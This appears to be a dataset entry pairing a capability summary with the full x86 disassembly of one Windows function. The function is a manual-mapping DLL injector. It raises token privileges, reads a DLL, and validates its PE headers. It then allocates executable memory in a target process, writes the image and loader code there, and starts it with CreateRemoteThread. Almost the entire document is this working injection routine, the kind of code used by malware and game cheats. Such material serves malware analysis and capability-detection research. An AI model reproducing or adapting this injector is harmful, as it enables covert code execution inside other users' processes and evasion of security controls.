Function at 0x4024c0
Capabilities:
Allocate or change rwx memory
Create thread
Get file size
Inject thread
Parse pe header
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x1c], 0
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
xor ecx, ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
lea edx, [ebp - 0x20]
push edx
push 0x28
push 0xffffffffffffffff
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4025ba
mov dword [ebp - 0x18], 1
mov eax, 0xc
imul ecx, eax, 0
mov dword [ebp + ecx - 0xc], 2
mov edx, 0xc
imul eax, edx, 0
mov dword [ebp + eax - 0x14], 0x14
mov ecx, 0xc
imul edx, ecx, 0
mov dword [ebp + edx - 0x10], 0
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
push str._nOpening_the_DLL._n
call fcn.00402170
add esp, 4
push 0
push 0
push 3
push 0
push 3
push 0x80000000
lea ecx, [ebp + 0xc]
call fcn.004035f0
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0xffffffff
jne 0x40261a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nError:_Unable_to_open_the_DLL___d__n
call fcn.00402170
add esp, 8
mov dword [ebp - 0x64], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004019c0
nop
mov eax, dword [ebp - 0x64]
jmp 0x402cd3
push 0
mov eax, dword [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x60], eax
push 4
push 0x3000
mov ecx, dword [ebp - 0x60]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jne 0x40267c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nError:_Unable_to_allocate_memory_for_DLL_data___d__n
call fcn.00402170
add esp, 8
mov edx, dword [ebp - 0x4c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov dword [ebp - 0x68], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004019c0
nop
mov eax, dword [ebp - 0x68]
jmp 0x402cd3
push 0
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x60]
push ecx
mov edx, dword [ebp - 0x3c]
push edx
mov eax, dword [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4026e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nError:_Unable_to_read_the_DLL___d__n
call fcn.00402170
add esp, 8
push 0x8000
push 0
mov ecx, dword [ebp - 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [ebp - 0x4c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov dword [ebp - 0x6c], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004019c0
nop
mov eax, dword [ebp - 0x6c]
jmp 0x402cd3
mov eax, dword [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x5c], ecx
mov edx, dword [ebp - 0x5c]
movzx eax, word [edx]
cmp eax, 0x5a4d
je 0x402734
push str._nError:_Invalid_executable_image._n
call fcn.00402170
add esp, 4
push 0x8000
push 0
mov ecx, dword [ebp - 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
mov dword [ebp - 0x70], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004019c0
nop
mov eax, dword [ebp - 0x70]
jmp 0x402cd3
mov edx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x3c]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x44]
cmp dword [ecx], 0x4550
je 0x402782
push str._nError:_Invalid_PE_header._n
call fcn.00402170
add esp, 4
push 0x8000
push 0
mov edx, dword [ebp - 0x3c]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
mov dword [ebp - 0x74], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004019c0
nop
mov eax, dword [ebp - 0x74]
jmp 0x402cd3
mov eax, dword [ebp - 0x44]
movzx ecx, word [eax + 0x16]
and ecx, 0x2000
jne 0x4027c8
push str._nError:_The_image_is_not_DLL._n
call fcn.00402170
add esp, 4
push 0x8000
push 0
mov edx, dword [ebp - 0x3c]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
mov dword [ebp - 0x78], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004019c0
nop
mov eax, dword [ebp - 0x78]
jmp 0x402cd3
cmp dword [ebp + 8], 0
jne 0x402816
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nError:_Unable_to_open_target_process___d__n
call fcn.00402170
add esp, 8
push 0x8000
push 0
mov eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov dword [ebp - 0x7c], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004019c0
nop
mov eax, dword [ebp - 0x7c]
jmp 0x402cd3
push str._nAllocating_memory_for_the_DLL._n
call fcn.00402170
add esp, 4
push 0x40
push 0x3000
mov edx, dword [ebp - 0x44]
mov eax, dword [edx + 0x50]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x40288e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nError:_Unable_to_allocate_memory_for_the_DLL___d__n
call fcn.00402170
add esp, 8
push 0x8000
push 0
mov edx, dword [ebp - 0x3c]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov dword [ebp - 0x80], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004019c0
nop
mov eax, dword [ebp - 0x80]
jmp 0x402cd3
push str._nCopying_headers_into_target_process._n
call fcn.00402170
add esp, 4
push 0
mov ecx, dword [ebp - 0x44]
mov edx, dword [ecx + 0x54]
push edx
mov eax, dword [ebp - 0x3c]
push eax
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40291d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nError:_Unable_to_copy_headers_to_target_process___d__n
call fcn.00402170
add esp, 8
push 0x8000
push 0
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
mov eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
mov dword [ebp - 0x84], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004019c0
nop
mov eax, dword [ebp - 0x84]
jmp 0x402cd3
mov ecx, dword [ebp - 0x44]
add ecx, 0xf8
mov dword [ebp - 0x58], ecx
push str._nCopying_sections_to_target_process._n
call fcn.00402170
add esp, 4
mov dword [ebp - 0x50], 0
jmp 0x402948
mov edx, dword [ebp - 0x50]
add edx, 1
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x44]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0x50], ecx
jae 0x4029a4
push 0
imul edx, dword [ebp - 0x50], 0x28
mov eax, dword [ebp - 0x58]
mov ecx, dword [eax + edx + 0x10]
push ecx
imul edx, dword [ebp - 0x50], 0x28
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x3c]
add ecx, dword [eax + edx + 0x14]
push ecx
imul edx, dword [ebp - 0x50], 0x28
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x40]
add ecx, dword [eax + edx + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4029a2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._n_unable_to_write_memory_to_the_sections:__d_n
call fcn.00402170
add esp, 8
jmp 0x40293f
push str._nAllocating_memory_for_the_loader_code._n
call fcn.00402170
add esp, 4
push 0x40
push 0x3000
push 0x1000
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jne 0x402a35
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nError:_Unable_to_allocate_memory_for_the_loader_code___d__n
call fcn.00402170
add esp, 8
push 0x8000
push 0
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
mov ecx, dword [ebp - 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
mov dword [ebp - 0x88], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004019c0
nop
mov eax, dword [ebp - 0x88]
jmp 0x402cd3
mov edx, dword [ebp - 0x48]
push edx
push str._nLoader_code_allocated_at_0x_X_n
call fcn.00402170
add esp, 8
xor eax, eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x40]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x34], eax
mov ecx, 8
imul edx, ecx, 5
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
add ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x30], ecx
mov edx, 8
shl edx, 0
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
add ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x2c], ecx
mov edx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x28], edx
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24], eax
push str._nWriting_loader_code_to_target_process._n
call fcn.00402170
add esp, 4
push 0
push 0x18
lea ecx, [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x48]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x402ae2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nunable_to_write_manualinject:__d
call fcn.00402170
add esp, 8
push 0
mov ecx, 0x4024b0
sub ecx, 0x402250
push ecx
push 0x402250
mov edx, dword [ebp - 0x48]
add edx, 0x18
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x402b1e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nunable_to_write_loaddll:__d_n
call fcn.00402170
add esp, 8
push str._nExecuting_loader_code._n
call fcn.00402170
add esp, 4
push 0
push 0
mov ecx, dword [ebp - 0x48]
push ecx
mov edx, dword [ebp - 0x48]
add edx, 0x18
push edx
push 0
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jne 0x402bc9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._nError:_Unable_to_execute_loader_code___d__n
call fcn.00402170
add esp, 8
push 0x8000
push 0
mov ecx, dword [ebp - 0x48]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
mov eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
mov dword [ebp - 0x8c], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004019c0
nop
mov eax, dword [ebp - 0x8c]
jmp 0x402cd3
push 0xffffffffffffffff
mov ecx, dword [ebp - 0x54]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp - 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
nop
cmp dword [ebp - 8], 0
jne 0x402c62
push str.exitcode_n
call fcn.00402170
add esp, 4
push 0x8000
push 0
mov ecx, dword [ebp - 0x48]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov edx, dword [ebp - 0x54]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
mov ecx, dword [ebp - 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
mov dword [ebp - 0x90], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.004019c0
nop
mov eax, dword [ebp - 0x90]
jmp 0x402cd3
push 0x8000
push 0
mov edx, dword [ebp - 0x48]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [ebp - 0x40]
push ecx
push str._nDLL_injected_at_0x_X_n
call fcn.00402170
add esp, 8
mov edx, dword [ebp - 0x44]
cmp dword [edx + 0x28], 0
je 0x402ca8
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
add ecx, dword [eax + 0x28]
push ecx
push str._nDLL_entry_point:_0x_X_n
call fcn.00402170
add esp, 8
push 0x8000
push 0
mov edx, dword [ebp - 0x3c]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
mov dword [ebp - 0x94], 0
lea ecx, [ebp + 0xc]
call fcn.004019c0
nop
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403ed8
mov esp, ebp
pop ebp
ret 0x1c